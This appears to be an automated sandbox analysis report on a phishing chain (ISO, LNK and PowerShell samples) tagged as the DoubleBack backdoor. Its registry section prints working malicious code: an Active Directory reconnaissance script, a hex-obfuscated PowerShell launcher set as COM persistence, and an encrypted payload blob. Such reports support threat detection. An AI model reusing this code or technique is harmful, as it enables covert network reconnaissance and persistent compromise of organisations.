Overview
overview
10Static
static
Invoice-06-1022.iso
windows7_x64
3Invoice-06-1022.iso
windows10-2004_x64
31728.ps1
windows7_x64
11728.ps1
windows10-2004_x64
8Scan_282.jpg
windows7_x64
3Scan_282.jpg
windows10-2004_x64
3Scan_282.jpg.lnk
windows7_x64
3Scan_282.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Resubmissions
02-06-2022 22:15
220602-16kn1abhf3 1002-06-2022 21:45
220602-1mh13abha3 702-06-2022 21:44
220602-1ln6pabgh8 802-06-2022 21:40
220602-1jcpwabgh5 1002-06-2022 21:27
220602-1ay7hsffap 10Analysis
-
max time kernel
90s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 21:40
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-1022.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-1022.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_282.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_282.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
Scan_282.jpg.lnk
-
Size
1KB
-
MD5
371924fdfffd4ca69857e94260c34a74
-
SHA1
2a1dc23c24010a8b5ef3b512ea3e3c6d2f52a44b
-
SHA256
801086851a46749a95efc050102fb85b761c0ccb191dfd29ff39c6b7cacb6292
-
SHA512
f9cbf21c27cf3473a2b73141dfd728d9d8824d20afc24f4b4b93ca5bf9536bd594c7a6d4100be2a2fc9c8e4b85b9dcf9797f61f60267128ea31cb44bfb43aba0
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
resource yara_rule behavioral8/memory/2528-138-0x000002909CBF0000-0x000002909CBFA000-memory.dmp family_doubleback_x64 behavioral8/memory/2528-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4180-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4180-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
flow pid Process 11 2528 powershell.exe 18 4180 msiexec.exe 19 4180 msiexec.exe 20 4180 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\CLSID\6066 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{08010108-0F03-0E0C-1204-0D08090C1104}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F110212-0702-090A-100C-100200040810}\ = "{08010108-0F03-0E0C-1204-0D08090C1104}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('2472736A717674643D2730383045273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30453046313030432D303631312D303330462D304230362D3039303530443031303830457D5C50726F67494427292E2472736A7176746429297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E0F100C-0611-030F-0B06-09050D01080E}\VersionIndependentProgID\080E = 7231aba84fcc9a4df074af52dcc5c4efbb590c8093f35f51d441848ccf1c98760291febf6c2829a7399b6114c3c554956851c1cbb881431eef77dc125bc8bdaaa9f8f0b7a00f0d7d2bfa156e3ab5afb6a501f0ab86cd929b23a77ffbc35e29a11c286493c7af7928e2f48f5424bea265a734b4c76caadaed81e791b6d70274464eb7aa69b370980d5dc5feeba514b4ba1aae2f2c515dace80010b7c2bbf5155cbb16c4af1fb70067b839c7aba4656116bea82da06047e4871b3398f14634366bc53e803295f6fd77d195a8292b5a0a8f0e9d2b6fc9d15e8f3a9abfda6e6f56472e206ac88abf0d7ad9e9c5f498f6c04821515b69081ac1abe338242aed4b90f0dea82ae17f98772790368a181a130afede77de2420a07b8a0898db90ac22c486a10092f4bdb0984cd0f3985bceffec4e2770c938f31910e6981188156fb57760a6b2514ac8e251ab3f6c9daa2224cccb2bc1fc362a1018ed3b407d1123d48846a86fa09d4e71e2ee8228339ba22efad0f37ad719d7d8e702ad6893f1ff363dbc9e571b122a07508b62d004a382029601597cbb088b7170fa98b9116dac1e6f29bcbce80f9f168d81866e6d32364ceb65f91e1bcc2ac39d7af1d5c1c58c54984d584f16331130619ff04c087ce35318c7e71fbcfc06d2fca694530487f294b426525b1af560daf3d89551bb17ff005498ca0f64feed8a1bc0481a9eeb82ce6e46118151c08ecb8e374d9cc610497dce45246d55d5be2b779ea2d51f06e59cebe0840e25962e0cffee4cad99e11a8c2c38eb6d3d2629180ec3703be8ac7d9c4c3f300d55c047e31eadc3aafb5f2ce701b278d7a0ab714d19293b8a1a553134aa9a2db00c486793f5a71206460d77f24b02ae175a792a915cb316b0acbdeed6382488e732251a04ba29959d05338ee7e8626b9275d9cb3f0edd18b785a98f846af3bbd7670c6c2ad83337b2a30f8a1bc09296eef3a890890ef9b806801044a83bbe959f89cff3c6a645b201c0c10f669cd1c310f6109634f5cb09d66652390b61a24212594f47c62b35aae36228ff08cf8d8f502ef8f5aed2df03d0c50363dbc1d991f9735554e3f9d8d74de57f23bed42d081ce0383e1395db92acfdadba455485061a0c7283baf362abd311514431c8dafb724d548bb2afbf28b7bcf5ff7804f1259f486dac3d677461626eb4ad09368654877d19683afca48800981938c84387cc2a37d97d24f4a12341495c63cb2a1eded45f561961c0cf2c0363f6955bf0c21903929d253ad576f2da34a21e933845fa27870035989470df559f735be6ecba04ecf497ed7a98fdc88db8d86df92aa15a6b47c5918397c4d4ca0e0b04149700854bf502812864c9e7ac7fb6bb901d6bde6b0fa55beae9ca26e82d8b69238861f30e62d0d3fdc232938cfd08be42a66c81057ac03b19189662ffe00d7e17160d4eba4e425416c390542ab610a7ad51869bda9040390209dc5d57e87ca8293b2921b1e336339b0ade47a796ab3d346f23e56d30d7a37a0e60261c1525b87f99b0532c24ef0b8945afb0b9ede1c419198ef983143d9134ec0a3d25b2df3cd77ef66f8cd2493b57ddcd1f40e2b1faf46ca83ce918a43cbcc5e34383be9073840b93bf8829eef18640e1d585a603ef8ca6a01fe335ab08d0316afdfd063c5e4ea2bc40f3e270dc5f23a5c334c7990af73602f05a6c562d0db4e48070cb1d955194cc01c37e1aaa4cd0ba9855a60ff9151ef0a141ff94e3f8318f34ee51d8df5ce4101d62a6c7b073419b479a6020fcc2795da70924dad3441c5fa992c3ab3574777e66973e41a3dfe535613d8015948fddee0d1053dfb10b453c8ae9a73347eb6d83d666ad0f270dcb249c15cdebc2289176d151e218715a43c6732bfcdcaca61e4ca7f07e4b6ebf4f8a538243f854595c3ef21102db91ad3622a7be71b2a5da3c1389ea0b8a3b3fddca734ca1371a51263d35e16bc3e8587979fe92de4fc83eb4a0d31649ddf1d314ce96b04dc52df2d2242158bed4c8725135da446b3e468c401aedbcaf01b1bf373efc09650b878c06b9f9ff991fee495031384f91bc286c265ebbfb85a292f18278e4f0b07e642e533aafd5035f89e58ee4ec93cb453fc8a91a33fdccbb6077a511981edcb57805b5b010e1874c7ab80e2aa50dac3083ed7032b41ee8addd1101ad67f91032255edd78621ff2046f80b2b6373a8814bf02c496bbc0a39f44c20499deb766fe1e3893342e5dd2f7b0f20ed356af76def851844e18a5d9569326df34089bebe83f27fe7d72f8c839f4a40a7add1776e1fdad092dedf15e2b87a7689f86b4899caa873f7e44ff3ad80acb375892355ae9d57c41624c3ec3dc2d55c9aad2817987178442d0b6b4e41a58fd324ccbd2385d1ddd36039863deffb140e7b4edce5dc536de41a076446f75094835e492723528467dc76d31f1513538a62b96e85aa29a908dbbbc0c207e896be01521eacd0f0c711ea801af528f7609c828674b594c6eb1ff37ab9811754c0d9e177d0e8021998669d43241aad78efe8fa439ea1337adfe331395d109d48d592a82fa3903d5d0765a4ac5f7eefccdc2be046ebc329f5baab9f38555de3e2e62cb0a5ec195f62443097f8959473204db5e30c2384b4ec1628be2155e27e99781d88ab069c994e2a65f23b7d0506e2a40749ded9ecadbbdd791dff757d3d63c8292fb1b9ce946a0760582a760aa8170482388a90b230a8364394a5c2a9408fca06a33d76d074d638008814db6bc24fb522066f5ac3378647d9e97b3850a134948848261ae253ffae20357272d9b5890271b5ecf39597309313de95b4ece63ccb76d7f8c76dc53e884ab4a4b6cffbe0e92860cddc059fc841b194fac71f6c1a1044daf7269eb808115339b5f054346f84dccdc70b9a1cf475239743f5a93f44bb2d21a48bbcbbec4c2e7037e9908aea86b235fb8272d31ee76d040329fc5b74032d20d73c194d2eaf1183ba13278add966746a8ae09fcbfeeff21da1a504f63560f9656fe22600d14733c40bfedd37eb8b376d91bdc27603dea6b30583775bd76f5374fbdb6658c4be64d356f6c00f7f053ea9369de55aeeb6e902b1db2767596d9c54d42183e5fc4732560d28a4aa9e8f0b741d5af27e7fc3f750b4dae5cea61cf589bc6f30d3acc965de9aa1a4b3532f6586456a4ae29561647500134f6f9b7436c67ed41f8ab3bbef388adabe912f7719fb85a7569ec78368581425e35a83c56bd1920d5a118a2fb845eba71b73cb092adf61256a8fbabd075b4195e599ba71a1fd65d5b75eb367b6d66cb3060c26ff48abaa497e0e6ffda9e4d52d7608a73e46d4d619a90552fcbeab174a3240a198b0b05e707302547b69f4e6de006b163122e8092b5817317d1af5a2319a015854edcea68182f8dbbc40e55d26a4dd0068bf4be057938de01cc4cb3520fb06e8567a2931bb9542613546ae50d6130b3afe0e0b3150c3f7ddf6df3b4e28e522b35090459cb52536438aa3c442bd09f244c4c5316f54df4437aaf3ce0b6354c62822c8174d07d94f8d5e9b75cf0e682d2034a3eb33a33732ffb9275cceb49702e55c79bfba5da1d1bcecd3ec53903258508df70948ec217c96f60de8784c73551550360f52c01f77687cf4f4a1b6f2c529b18b24f3cbdde017ea90d2c96cf88debda27bcf58c762a4724c78a4e48c15fe4b321fe9f00807ef4390ecf35b5a4a93ab0d748a2a4f298c0651ff5bd9ece458fafd2fb21bd2e57fc665d9406e2f12c31c172dc474ce3a08f07c368917bea705ea133bee8dcb01391347ff2b0c4b188b7090551620a80901e3443adf1f3be6a2a1260aed496d00c7b0b3bdce2e26340fea544f01c5cf0a4390c43c012c15f0cf7025c12f384c189bc81c1cef1ad7a4ae2a9ce57087c2fdd207d46828e84f537f8c3ae9904aaf33933469c123b9ce90f67d75b2837ba0d8db8d5476473973a641851c2848b845f71a248582032e33e6761bae5658242b26ba97d97a2bb2070e8013ba3110dd3494a5c577f5e712a8a549e85f2d6a2a1d7a52da4400fbfefa364a282b6052bedb8a543d7a942db14ffa33bf793ab65e266846f89a31cec4186d810b709f182fc9be127d3bc6f2fe4588ad58b592b547104f4ce6a93453b910e847aa8a25c55377e78018f670a789fadf787cb36cc82f3a866c9538b42ebadddf55771b1009082c69d91c6bd8045fcccad4498c52921c9ad7454fc5d19957cf5e02078e808ac5e076710ecfab8e05ac225ed4ff6ed54daee65e09326b53b632dd862628f5aa4e821836acf1af25d705e9ed107da1ac1ff666f7a49d83a59475e098dd26f0adac7635788b902004e757192927c1d24f5a694e518713d58d2181999c04b120e158d6ceab79b749d9f89e85ce0a82f7cfd0d2114dbee9373d161d32948822ab1a7fce7c6e8a6b5452a2bf55b917ccd387738f420842b8ea62300ca1ed2085da3827f11c45fee72fc5ca71128c44b423016eb84203939f27520cdbb44fcdba0bc14e51bedda9e8e50c8b73792776b6e5eaa1d759ede47d5f1a1ce29dd5a81117d32449df8d6c35635503badb118b078c7e65a4831e0683b78f3edeb4a48aad878c4aada19b90ca2760e854f5824509d7b7659a0377744f902af0235063fb8051ae7736342bad698419a39f4700348bb51889f169a33253ebc71f17fd9e7a185487eb5844ed5101c0508ec8bda5de4a9bb4daa938b70c4077f104c5eb05838a99da30f6c51f91f6b9742d1b63743617781bab6b15920e7578112b43218147b009bec5f2243901f9323a3157f6415266222cb66b1351fcea776895f9c6c9b23391cc1211e8f64b6eba8b1e925fb7434beaf0748976846babe356179960b1ad7f215c14a470f341d7708974f46f72c6b876151551b949d488f9a81346ee87ec7a151cc3a0590d7896efc38c20795e43c4968de4ce5d98a3458f2204a4e4abb1aea41f876118238e9fadcbbd43c937773c25c616522996fb7ad95edaa8c13a21e10513496de421dcd9c341bcbe6734febebb7732e95853650de061d4de9ddb6aa230075fc3a2c67724c2dc8d1217269fcb418c1f1ecbee6cdfcc745598c49291ff08523d4ef08535224e92fcda0926607ab399338351b3cb13004a00eca96f526365eb50709217ab7795bc473a3d4278fffddb90aa7c8707b9855607ee6416cc3ddf9308efe39c2e47afa6d295628d1838bc1f314cbf48166578268f1189e70f9c3cd5301b5167c16ad9cb56bbb0776a257371822e9539016c18e48c6501b3598af945d3b3f2262c96d0e2faab6e9ac77678e753c40e01cb67f6e4080feebde0224aba92518e10428e52610ee41c7bc6242540fe8a705552a486fd376c433d82695e5f94008221b54aa534567ddd80ac6a1d4f55718916324ab774e7fa55a0ac961897ecfafe3353e97b6c3c41fab8c12465b16950c03cc33acf103d31b152e61c89fa7cf40b624caa04d4c7ea7db9a6e8b3cea3e5f7a0451525bf6ca00a3f01daf7fb2a38460ebec76960b4143fc54fd2dd28aa497d03db8540bd9653bfcc322db1cb5d2c1ae5f22b020a6b5422237f926e877319ac95effcf208396b0ccf2afb2fa9d6780abc287fb7ddda1f4023a1d4cdbc51a19bfcbbb5fc4fceee86b3e11a3bac84df719c412cdcf594203ca5c0a7a1ffbb5896fcd726bdc6736519f9cf9deae1ecf5e800ca62b65207c7e8e3d25d33604ead898dd4ce3b67fbf18d60ba06b32baf59f04783ef4c101d9f9b1ef449d38e3e00e0e853b5c917db0817a129d33eeeecf80a6e414406c4078c1252780edea7ad9f8376013d9c48aa50c0158d1bdcc296e18ff9e2c37bac4e0389e1d4fcd27ead8dca214992ee37176ce0afba103031067bde361503e975291e190f04feabe24e296a11b552375eb8c9c0ea317978ef98324cdbbd2bf284069614e21b4999a9492a32ba1cf84a9b298d6a8d3390fb4e7665f1b200506e9fd91229ecc2dfc91ed4fe0749c546186b4961be75bc4dc0db1700cbe6217405f1b2c3a0e63e7af7ad5d34d7cf906aec984116756804b61b40f4ff4449506c4c9c217245e0c575b6e1b0c1d626cb810b94843c7ec458b8b61002f3629c40deed9800fd0149f67ac1e8988b8696af0ab086c756296dd553dfaba0df592e9d2184b285cd98549200d2d8aa5fb50ba108ab393d821824c09edc10e69715bb2b5a651b9a646008f75ecff24b646f427ec28e084eb52fc196a68aea6cfb02883cfd1a7715ff3e34c1f672fbfb5d9cdf7f24bf8aa10e47c73530e41e892f6042dd61aa57043d61a0aad933f407f54cdf7be2f60d768aa390b9f31e94e7bc0c6e905d1c52e1e40b321f6cdb23ab4cab0502b40719c3bd0afaf574927b65f57134e275078f1ab82ae9ea86493edb12b5695b2dcacce3e676491ebef477e3cbb1483e486fdeb4cb04669bd4c165598cfe2526e7987b7eefb115a24df9e7fdd32df2d8f24fab700ac99290fb6d03139e5bbecb7c7cf9c7c1823f4012fe600a09618e769d3b0d772625e4c5b8e9314a9c733dec8d2f7197206c5ae8f167a92c61de9f3c68348ce8fc184249fe837d9545e4b1779a044cac4b81224d80232f7fb7326278393aea21a8fa4aa237477ba56d6740a6fcebe80a9d697fae69dea3f60c3581d67d256f330ba12ea5ccac78135a7fbc5bc4313e0c7e23c6301cf47a080950aab4bc47e494a1cb2ced67d274f88ae34598eada1b1b61ebdcdf12f39283e62d28fe7e96ec0aaddfe504f7a500c6f26f4c8690b760b9d7f242369eceff476184b73eb0e7a89a1d99bd238364b03f006f01029377fe431b10d5d149476cc6a6006d0cb81f1049c380fa3a5fd50e9613a0aac7baf4abbd5abf2077b34b8cd97852b989ab5adbf1849e6ee5e08ebdfe8e945ddbc3e9e65e0632eef5927813fe0189425af2bdf6fbaf24b04f17f69c06743d316869a21603a94de30ebb6c93f023c9927716caa582d0b69cb201e259dbc4d4011c91c788c35c3e2e681d0eade1e4f7b43801c10844d47e0148b7f5a966370dcb904aec67d91b47ec0c0e108e1bb5a66103c1eba9f574de427d9c19777ad55e94e421c4ff3cb76c846f86961fb3c2e59e99bc6d927abce13867580b713c6dea224956ff03c1f78dfc105faa9c814b33916a7133112eb5dadbe22312b550bcd569943c20611fca7dba586fdc4f1c2ca8836f90d0b03fdc894a9a421526a325c2c1ffb6a058f0c709a653727cb0624418a3d211cee4b41acf9dfecdd35be782cb126305a067bbe453cb4eaed3fcc63b9ddb0ad21ec4742b1e87e9e3d0de9caaeff7f5e9695967754646211b55c444ca34e5e6d5a3bf95f1992ad512e9b774b7216d860865ab67fd52a254cf9a8e5bed639d33a56455f86d3a58fd4268c6d6c74e9feb3542231b9746582c0914d4b539b12e355dd9b3b910536f709ed9fa922a066c4be97bd2756a794cf96c5c22ffa25882987d88f3ee96fabc9c9f269c579a6a737a0bca57056961143c30ef44a61e53c3bdaf55f18212ea0cfe6c0f4a3afba8dc96313e53e8af8bea6844e9c25b7bb0b1bd8300b5a205a7d7778f9375bc6a995483ca1d5ec0b4a8a9b69482549025f6b96b4b9784155a8bb1442a063f322161fd88be37ea6b30c564ecc300a61e3dc8fc8003a347c07bf479be3ed3248f9de69d78a28567812ccee6e34e959c201215894b007a5cc44ffebbc6cf7543471227c59efd6a8affe611b0dd29fe1ac0ef0df52a1b58d78276d1aeb0ad9318e36f76df0427338e94985bbf288c0059c979fdfc3984bb9014982fc9a64707122e75ef3ebd1925f43128839ff34436ce390dedaacd3703cd33477a349326ef3d5d9d50269476eb87a83c6c9726542ba1336e8adaf0dc9af43a2d317a7749a9adb52b4dcc021092d9c85ee6def057fdf6bd09d361fd45b472c4c60889301513e350136b17432f779257e4f5c26ae857e36076e650dd642db11f471f57dcea38e3a8cc201ed6c55550499d23c55303b7897a44411dce2df26cf43e088dd1c931dc889c14b0379c2c43884b90aa133c6cf08f6c6ea4bda802399af41b7ab3f8c55489f5b52a23190fc781f7a161c0a355691dfb17280e453df6979d25b8f872aa03a512f5ba1cfb6b04787dbc31635fdc68d26ec879f881fa2e1fc859117751a000cc04a5d6cca9a350678e2d990e82fcb5b9d1995065ea7c60acd001c253da46394e8a39c6ac49686aa3d67f34a31d14a9b528de8bfd71aa4a88235f05f9cb9645333974b4f2c5698b06453244fd9e5e8f26d804ab20ed4ef0a7fc015cf2f0c0ecdbdb188fdc1e77000abff0ab1048feacd9886a5d5e8fa55ba7e4e51f3d5e55d62e6c162f9d03937e705732e8788f7a9309503bd36db7a343757b0939e4899e80c6fd38dbb6f51505e1fce9150fdda021d1c014f625a1c374cc0263cc2b1837e4de43e7a3b8d24ecd7d026ea85f61bd9234e7ad6df88fffeb3c3190690c0d12c24d558c64f28ab58828a11c49ccc0d52bb000ddec821d41e3bd463b8242a98be34f4453efa3fef6c95fcb56227b43fd32a8a56954f738302bf7adaf3ca2cbe24f63ecae98df4e7ade422d736f5a27416af107be9639697f818c681a05b0a6640830868b4b8314749e6133e7605e720507a5b649eb1c22ab70b679d86727dd70f8e50f68796da251360e81656a54badd3a178671e08e95c43df53d4da006abf6a3313c0291b08ee037a47de238e1f8490e97d0917b34f085a346770e60aefad96c0635c3e58cbb07269949b53de46fb8066eb915e59a4384df6dfe5d396237fcff351e3fab416c0fd163febdb31e94adea4ab2158bf719a59402a980422af5f49064348e8beb951b0c01c85d6e8ee3cc2a003acaa038adf0cf0a8095e67db38930cbaae103c53f3dcf6b3e7b1843888c4c9296b5e1bc122bf27380435ba3c62c3968b0e97d2bc313a4965e7e0b9e57b156c40d60d99d7d3b58b2dd7ea0c046182dc8c35ef337a29530fe3d0c6eb0b6f9591953d8c80e0bbdb2790de8b03ae09058d8253cf7ed069784d75d9f22bc215a7aeba16219dc0581b32d4f6eab0ebe020cfbac5fe7384f7decb157e0f1dc63e0656094ba9e62b110d26ca862f7f9cc9a30f986759e4c39dc518b781681fd5c17d8965673a987bfaf5b3c64d86dfa8503e436984e8aa1474544d0124f2fbd9e47fb7ef50581bc8980f2667addd507410ca54b7d4f8028a8a3c5e34b566d0d3a66ddb3dc05f249672f803c350d8b11e187d99d375f3c0a6f02bda8fc5e4c0f62dffd5650cd46b3e463e83155e5df463ed37bddb7c477dc2729c110290dbd99fa29dbee6e3539bc9baef407ca8eade08cc91c5a1020ab43de8c8feef08742d2222fcf1784d05ec768230cf2c798665cc983303ebbbd13adc6342f0af64f055a8c44a93fc8230e0126e13652240b0d1fb3a84382494be19bd71c2f0b3ed673e38145eb7fa2e581abe0b026a630609a413effab5264f3bc6376a6a9738d178798afddd2c73408f3c6c057539712e42800b4eace08d0c77bb8324dff16de01aca3771a4adc01f1c9249a99053a982cc316c9f8c2bf03292e4d8882412f783b99908b4804d87dcdcd31fb4317b99c30969559a274aa93320923f3d06f3de72cde93a35c89ba2a335a58dc669bf63528083de796f74325adbb2b230efa3155951c47fc68fb28bac0102d3cbe36d3d5ffdfb22cdaf30433893b45397eceef7ac85bc545e0450736d9b717be7e9fd396d074b820b053b5f3770e80790c2727fdcd3710e96e09899507807583427e654682edadd0efa13b2ded75f2d3449e25ab8952046282334460038607ba689def73be3cdb2dcf973b6ac3723c2b8572d41d1221d5fb4cc8586a9c77f5b4a461e9987a491d87facb6eacb5b580504e7a3bd0a068e723b5ccf093892b6a1eb75056736e48e9c6d43afba343847afb278b59f7a47a6cabb77532174595156b8226ca65701e52d9dd0803645342ee8910c9bc4cb9789c5a3b9cb7ec9ec2cf2789e963015200cd2b321d3f2ff670567d93dcde154be24c8841c94fbbd494d4aebe3b4fd7f05805fddcd25a8c0a9c475a0def3460116af8281b2a19991abc1fc1946ec9e0ca48ffcf36bfb89ba05ef096cd2d17055166a9aaf7e732790bab614c448e33c4c6d5505c18adafbc42f29b35ad5511358c827c32a3dd84a5988238316bdca2435046d6dbc10c870bda0a902f855a9e95f7652e9919afefd67e95dfb5368f763af0c7d85636017275b02d6fb1fbdf7273f231cf533fb65d3b91abf1ae726da44f6d8d1a68a72c6f868da0cd9a5520f3ff4234fd00bd18eed98702133f6a8a297c3af2e8eda46582f8e9d5e3f05ebe237c872c6c6f9147abd86795e3103f19591468862122c25c07ef664b7e4c6eb5d7c7e66671e323be6080778e6bee6d4a74cd7b858139732c1749a8b44f0b8919c84eab601f82fc18d94115a06a1a5f0be2f7ce76b1b5466a0299f8719f0af665d356fc9e0f559aef8098db9680e0e77e38c1303f0efe0f0fac975399d10c9bf5cafd1d1f1cc3f6f3bb7f06a82ac590254827b66d4aa356c4132734c151d30576506a10e8dde193d5182527d30b7e6c3c109e68eb62f9ddcbff1b29c885dbb6b629a01d503765704815152c08a8c965be28bb332c38d26915f37afb17858b9e6639584f9231b1e3b71f5f49c166c8fe49d948c8a2e797c591b48cbbb5e85da8929e6fe9a7ad6ffaaf59de087d58006d7fd1bc236aa1663d71a7106f479a5bcbfe68a931450c9e01b46061a3ed64fdd9748fce0e97321b1412937129eaae0f4eb73f8b6fc39b84c1a5bdf5fca04868e25fcb959a05464421cfb3920a098967476183be093973e69de103dd74ee35817dd0c2417ef161fdecb23875d78c9ccb25f887d878bff5e2183fef568d995a57c0fa9be6a288ab235d7dfaa12c1255ef25f3097205fbbb3984cdc797861b9d07869f44421bcddea9c3dbd3539b8cb3b5331058f926090127380ed9057999bad5b5f6175abfe6db2fbd23ec3cfa36f75420d8e5a